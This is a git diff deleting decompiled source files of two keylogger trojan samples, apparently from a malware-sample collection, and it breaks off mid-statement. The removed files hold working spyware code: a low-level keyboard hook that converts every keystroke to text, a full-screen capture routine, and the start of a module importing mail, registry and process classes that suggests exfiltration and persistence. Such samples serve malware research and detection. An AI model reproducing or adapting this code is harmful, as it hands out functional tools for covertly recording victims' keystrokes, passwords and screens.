MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.csproj deleted file mode 100644 index f5d5f38f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {032A3738-37FA-47D6-8069-01ED4E49A78D} - WinExe - torrent seeding - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.sln deleted file mode 100644 index 81bc5d49..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "torrent seeding", "Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.csproj", "{032A3738-37FA-47D6-8069-01ED4E49A78D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {032A3738-37FA-47D6-8069-01ED4E49A78D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {032A3738-37FA-47D6-8069-01ED4E49A78D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {032A3738-37FA-47D6-8069-01ED4E49A78D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {032A3738-37FA-47D6-8069-01ED4E49A78D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/jBcGFYzTOTtD.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/jBcGFYzTOTtD.cs deleted file mode 100644 index bbedc742..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/jBcGFYzTOTtD.cs +++ /dev/null @@ -1,216 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: jBcGFYzTOTtD -// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 198D2D35-528E-4E59-8C51-F602B2216010 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -public class jBcGFYzTOTtD -{ - private static int rDNwOVixQZpD; - private static jBcGFYzTOTtD.xoHdskvHibDT phJSglASvYaV; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int tokbvSrZfrJe( - int iPgDsdQUYuVx, - jBcGFYzTOTtD.xoHdskvHibDT lrZQcCfRrFnE, - int JhtUQLlIpXzF, - int pQeJDjvWwOBy); - - [DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int JrBNLLapBLZi( - int iPgDsdQUYuVx, - int ogekZfLDyFFs, - int uUtUnVajYfjy, - ref jBcGFYzTOTtD.dtGFkvNLQDlo wVHvnnScKxxf); - - [DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int XWGUlBzjdJZu(int iPgDsdQUYuVx); - - public static event jBcGFYzTOTtD.XUZJkEDoGvEtEventHandler XUZJkEDoGvEt; - - public static event jBcGFYzTOTtD.OdrXQPtwVsZbEventHandler OdrXQPtwVsZb; - - public void OhAHcyUuPjyI() - { - jBcGFYzTOTtD.phJSglASvYaV = new jBcGFYzTOTtD.xoHdskvHibDT(this.ETDCsoKFkSJx); - jBcGFYzTOTtD.rDNwOVixQZpD = jBcGFYzTOTtD.tokbvSrZfrJe(13, jBcGFYzTOTtD.phJSglASvYaV, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private int ETDCsoKFkSJx( - int gwkYxIHKarfs, - int uUtUnVajYfjy, - ref jBcGFYzTOTtD.dtGFkvNLQDlo wVHvnnScKxxf) - { - if (gwkYxIHKarfs == 0) - { - switch (uUtUnVajYfjy) - { - case 256: - case 260: - jBcGFYzTOTtD.XUZJkEDoGvEtEventHandler xuzJkEdoGvEtEvent = jBcGFYzTOTtD.XUZJkEDoGvEtEvent; - if (xuzJkEdoGvEtEvent != null) - { - xuzJkEdoGvEtEvent(this.TzWmTJkgAgpp((Keys) wVHvnnScKxxf.gwkYxIHKarfs)); - break; - } - break; - case 257: - case 261: - jBcGFYzTOTtD.OdrXQPtwVsZbEventHandler odrXqPtwVsZbEvent = jBcGFYzTOTtD.OdrXQPtwVsZbEvent; - if (odrXqPtwVsZbEvent != null) - { - odrXqPtwVsZbEvent(this.TzWmTJkgAgpp((Keys) wVHvnnScKxxf.gwkYxIHKarfs)); - break; - } - break; - } - } - return jBcGFYzTOTtD.JrBNLLapBLZi(jBcGFYzTOTtD.rDNwOVixQZpD, gwkYxIHKarfs, uUtUnVajYfjy, ref wVHvnnScKxxf); - } - - public void fpWBcjPdLkrV() - { - jBcGFYzTOTtD.XWGUlBzjdJZu(jBcGFYzTOTtD.rDNwOVixQZpD); - // ISSUE: explicit finalizer call - this.Finalize(); - } - - private string TzWmTJkgAgpp(Keys gPNxznKgAJni) - { - Keys keys = gPNxznKgAJni; - if (keys >= Keys.A && keys <= Keys.Z) - return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? gPNxznKgAJni.ToString() : gPNxznKgAJni.ToString().ToLower(); - if (keys >= Keys.D0 && keys <= Keys.D9) - { - if ((Control.ModifierKeys & Keys.Shift) == Keys.None) - return gPNxznKgAJni.ToString().Replace("D", (string) null); - string Left = gPNxznKgAJni.ToString(); - if (Operators.CompareString(Left, "D1", false) == 0) - return "!"; - if (Operators.CompareString(Left, "D2", false) == 0) - return "@"; - if (Operators.CompareString(Left, "D3", false) == 0) - return "#"; - if (Operators.CompareString(Left, "D4", false) == 0) - return "$"; - if (Operators.CompareString(Left, "D5", false) == 0) - return "%"; - if (Operators.CompareString(Left, "D6", false) == 0) - return "^"; - if (Operators.CompareString(Left, "D7", false) == 0) - return "&"; - if (Operators.CompareString(Left, "D8", false) == 0) - return "*"; - if (Operators.CompareString(Left, "D9", false) == 0) - return "("; - if (Operators.CompareString(Left, "D0", false) == 0) - return ")"; - } - else - { - if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9) - return gPNxznKgAJni.ToString().Replace("NumPad", (string) null); - if (keys >= Keys.Multiply && keys <= Keys.Divide) - { - string Left = gPNxznKgAJni.ToString(); - if (Operators.CompareString(Left, "Divide", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Multiply", false) == 0) - return "*"; - if (Operators.CompareString(Left, "Subtract", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Add", false) == 0) - return "+"; - if (Operators.CompareString(Left, "Decimal", false) == 0) - return "."; - } - else - { - if (keys == Keys.Space) - return " "; - if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes) - { - if ((Control.ModifierKeys & Keys.Shift) != Keys.None) - { - string Left = gPNxznKgAJni.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "_"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "+"; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "{"; - if (Operators.CompareString(Left, "Oem6", false) == 0) - return "}"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "|"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ":"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "\""; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return "<"; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return ">"; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "?"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "~"; - } - else - { - string Left = gPNxznKgAJni.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "="; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "["; - if (Operators.CompareString(Left, "Oem6", false) == 0) - return "]"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "\\"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ";"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "'"; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return ","; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return "."; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "`"; - } - } - else - return keys == Keys.Return ? Environment.NewLine : "<" + gPNxznKgAJni.ToString() + ">"; - } - } - return (string) null; - } - - private delegate int xoHdskvHibDT( - int ogekZfLDyFFs, - int uUtUnVajYfjy, - ref jBcGFYzTOTtD.dtGFkvNLQDlo wVHvnnScKxxf); - - public delegate void XUZJkEDoGvEtEventHandler(string rDNwOVixQZpD); - - public delegate void OdrXQPtwVsZbEventHandler(string rDNwOVixQZpD); - - private struct dtGFkvNLQDlo - { - public int gwkYxIHKarfs; - public int BaOXggJJxoTi; - public int gSPnRdwgVrSy; - public int KgXrYQAbDDtT; - public int QGvBoPLHQNSp; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/sfNwkKhkokmC.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/sfNwkKhkokmC.cs deleted file mode 100644 index 8d87699d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/sfNwkKhkokmC.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: sfNwkKhkokmC -// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 198D2D35-528E-4E59-8C51-F602B2216010 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -[StandardModule] -internal sealed class sfNwkKhkokmC -{ - public static Bitmap OCQWxmF = (Bitmap) null; - public static byte[] XUBoZVx; - private const int BcLTxQH = 13369376; - private static int PWwOZkn; - private static int XWnaRfW; - - [DllImport("gdi32", EntryPoint = "CreateDCA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int eJtILJcJpCkt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string jOpApbCnNbJK, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string spONJRxhJfLU, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aVFOtnuOJnwE, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string UAkhUzEIOoLV); - - [DllImport("GDI32", EntryPoint = "CreateCompatibleDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int JVojHfVVSXaC(int uGHCnXpQxYel); - - [DllImport("GDI32", EntryPoint = "CreateCompatibleBitmap", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int HtftDsJBGmPh(int uGHCnXpQxYel, int ylfbkIvDnbUP, int NeRrUpQbNYJh); - - [DllImport("gdi32", EntryPoint = "GetDeviceCaps", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int ZSkAWsZmNeBS(int uGHCnXpQxYel, int hsbPhBaOrArm); - - [DllImport("GDI32", EntryPoint = "SelectObject", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int muuzrBNTwUJx(int uGHCnXpQxYel, int RpPsYSRBxUiH); - - [DllImport("GDI32", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int KAFOgnYtuVfA( - int TsAsjrbkUzCH, - int tlxTfCvhCLCm, - int kGtuLdzJdlhm, - int BODnkAYkReAb, - int RpaYtNCZSVxD, - int xnDFIciPiwjY, - int lPEhsbbzNlzB, - int jgdOWCnTkayF, - int nnlrBYh); - - [DllImport("GDI32", EntryPoint = "DeleteDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int nlDKZsu(int uGHCnXpQxYel); - - [DllImport("GDI32", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int nipQDPJ(int rdYNJaY); - - public static void HrRbWfO() - { - string str1 = "DISPLAY"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - string str3 = ""; - ref string local3 = ref str3; - string str4 = ""; - ref string local4 = ref str4; - int num1 = sfNwkKhkokmC.eJtILJcJpCkt(ref local1, ref local2, ref local3, ref local4); - int num2 = sfNwkKhkokmC.JVojHfVVSXaC(num1); - sfNwkKhkokmC.PWwOZkn = sfNwkKhkokmC.ZSkAWsZmNeBS(num1, 8); - sfNwkKhkokmC.XWnaRfW = sfNwkKhkokmC.ZSkAWsZmNeBS(num1, 10); - int RpPsYSRBxUiH1 = sfNwkKhkokmC.HtftDsJBGmPh(num1, sfNwkKhkokmC.PWwOZkn, sfNwkKhkokmC.XWnaRfW); - int RpPsYSRBxUiH2 = sfNwkKhkokmC.muuzrBNTwUJx(num2, RpPsYSRBxUiH1); - int num3 = sfNwkKhkokmC.KAFOgnYtuVfA(num2, 0, 0, sfNwkKhkokmC.PWwOZkn, sfNwkKhkokmC.XWnaRfW, num1, 0, 0, 13369376); - int rdYNJaY = sfNwkKhkokmC.muuzrBNTwUJx(num2, RpPsYSRBxUiH2); - num3 = sfNwkKhkokmC.nlDKZsu(num1); - num3 = sfNwkKhkokmC.nlDKZsu(num2); - sfNwkKhkokmC.OCQWxmF = Image.FromHbitmap(new IntPtr(rdYNJaY)); - sfNwkKhkokmC.nipQDPJ(rdYNJaY); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/JFsnADcn.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/JFsnADcn.cs deleted file mode 100644 index aa6c51d5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/JFsnADcn.cs +++ /dev/null @@ -1,210 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: JFsnADcn -// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -public class JFsnADcn -{ - private static int cIQQiBaY; - private static JFsnADcn.YyrofcTh TtviokNY; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lfFEEUyK( - int grhVkOzz, - JFsnADcn.YyrofcTh kssvUfPY, - int DZWxwfpI, - int NjfAiTYU); - - [DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int LSycFgPc( - int grhVkOzz, - int DbDdHZdN, - int BAWOnoIU, - ref JFsnADcn.BwOUEeKk SzrQrxnj); - - [DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int NhzkzfYL(int grhVkOzz); - - public static event JFsnADcn.gTTNCfFJEventHandler gTTNCfFJ; - - public static event JFsnADcn.PuOHJbyQEventHandler PuOHJbyQ; - - public void PcxsAocU() - { - JFsnADcn.TtviokNY = new JFsnADcn.YyrofcTh(this.RHikwJCj); - JFsnADcn.cIQQiBaY = JFsnADcn.lfFEEUyK(13, JFsnADcn.TtviokNY, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private int RHikwJCj(int hvntnbVg, int BAWOnoIU, ref JFsnADcn.BwOUEeKk SzrQrxnj) - { - if (hvntnbVg == 0) - { - switch (BAWOnoIU) - { - case 256: - case 260: - JFsnADcn.gTTNCfFJEventHandler gTtnCfFjEvent = JFsnADcn.gTTNCfFJEvent; - if (gTtnCfFjEvent != null) - { - gTtnCfFjEvent(this.dVavzkBT((Keys) SzrQrxnj.hvntnbVg)); - break; - } - break; - case 257: - case 261: - JFsnADcn.PuOHJbyQEventHandler puOhJbyQevent = JFsnADcn.PuOHJbyQEvent; - if (puOhJbyQevent != null) - { - puOhJbyQevent(this.dVavzkBT((Keys) SzrQrxnj.hvntnbVg)); - break; - } - break; - } - } - return JFsnADcn.LSycFgPc(JFsnADcn.cIQQiBaY, hvntnbVg, BAWOnoIU, ref SzrQrxnj); - } - - public void WiZeGKfV() - { - JFsnADcn.NhzkzfYL(JFsnADcn.cIQQiBaY); - // ISSUE: explicit finalizer call - this.Finalize(); - } - - private string dVavzkBT(Keys nKcdYRnOJtp) - { - Keys keys = nKcdYRnOJtp; - if (keys >= Keys.A && keys <= Keys.Z) - return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? nKcdYRnOJtp.ToString() : nKcdYRnOJtp.ToString().ToLower(); - if (keys >= Keys.D0 && keys <= Keys.D9) - { - if ((Control.ModifierKeys & Keys.Shift) == Keys.None) - return nKcdYRnOJtp.ToString().Replace("D", (string) null); - string Left = nKcdYRnOJtp.ToString(); - if (Operators.CompareString(Left, "D1", false) == 0) - return "!"; - if (Operators.CompareString(Left, "D2", false) == 0) - return "@"; - if (Operators.CompareString(Left, "D3", false) == 0) - return "#"; - if (Operators.CompareString(Left, "D4", false) == 0) - return "$"; - if (Operators.CompareString(Left, "D5", false) == 0) - return "%"; - if (Operators.CompareString(Left, "D6", false) == 0) - return "^"; - if (Operators.CompareString(Left, "D7", false) == 0) - return "&"; - if (Operators.CompareString(Left, "D8", false) == 0) - return "*"; - if (Operators.CompareString(Left, "D9", false) == 0) - return "("; - if (Operators.CompareString(Left, "D0", false) == 0) - return ")"; - } - else - { - if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9) - return nKcdYRnOJtp.ToString().Replace("NumPad", (string) null); - if (keys >= Keys.Multiply && keys <= Keys.Divide) - { - string Left = nKcdYRnOJtp.ToString(); - if (Operators.CompareString(Left, "Divide", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Multiply", false) == 0) - return "*"; - if (Operators.CompareString(Left, "Subtract", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Add", false) == 0) - return "+"; - if (Operators.CompareString(Left, "Decimal", false) == 0) - return "."; - } - else - { - if (keys == Keys.Space) - return " "; - if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes) - { - if ((Control.ModifierKeys & Keys.Shift) != Keys.None) - { - string Left = nKcdYRnOJtp.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "_"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "+"; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "{"; - if (Operators.CompareString(Left, "Oem6", false) == 0) - return "}"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "|"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ":"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "\""; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return "<"; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return ">"; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "?"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "~"; - } - else - { - string Left = nKcdYRnOJtp.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "="; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "["; - if (Operators.CompareString(Left, "Oem6", false) == 0) - return "]"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "\\"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ";"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "'"; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return ","; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return "."; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "`"; - } - } - else - return keys == Keys.Return ? Environment.NewLine : "<" + nKcdYRnOJtp.ToString() + ">"; - } - } - return (string) null; - } - - private delegate int YyrofcTh(int DbDdHZdN, int BAWOnoIU, ref JFsnADcn.BwOUEeKk SzrQrxnj); - - public delegate void gTTNCfFJEventHandler(string cIQQiBaY); - - public delegate void PuOHJbyQEventHandler(string cIQQiBaY); - - private struct BwOUEeKk - { - public int hvntnbVg; - public int pQlWcgtI; - public int zEAvYxru; - public int ooJgorLS; - public int WGNWtUkh; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/LEThjJwJ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/LEThjJwJ.cs deleted file mode 100644 index 29bd70f6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/LEThjJwJ.cs +++ /dev/null @@ -1,696 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LEThjJwJ -// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class LEThjJwJ -{ - public static Mutex dLBfEuNPwTuuGh; - public static string rjxjVBchppIcvK = "FKrvSGxBA"; - [AccessedThroughProperty("kIsaTynX")] - private static JFsnADcn _kIsaTynX; - public static string gGxhXIIv; - public static string yRLXDeEX; - public static string vPQWnzcg; - public static string rfBtxzmo; - public static Thread mgIEoCOQ; - public static string xuJnJYDw; - public static Process stukiwEO; - [AccessedThroughProperty("EDyaPnzo")] - private static System.Windows.Forms.Timer _EDyaPnzo; - private const int msAYJCkE = 7; - private const int yIcVuCUl = 1; - private const int omdNielE = 0; - public static string jxcDcKOc; - public static string VIWdTJnX; - public static string uuhcRjjF; - public static int hPZhzwjN; - public static int jDKZdzRz; - public static LEThjJwJ.vaQBJxmE sTIotIDI; - public static string JTYgQGSy; - public static bool sszTlWvT; - public static bool ovERJrct; - public static bool EvtnLQcV; - public static string VOwOBwVt; - public static string PeOZluvJ; - public static string zvJbKQph; - public static string yBhUjSkG; - public static int pjtQnYek; - public static bool ikJUBDRY; - - static LEThjJwJ() - { - LEThjJwJ.kIsaTynX = new JFsnADcn(); - LEThjJwJ.vPQWnzcg = "rVzWJrYnj"; - LEThjJwJ.rfBtxzmo = "UOghDDYNX.exe"; - LEThjJwJ.EDyaPnzo = new 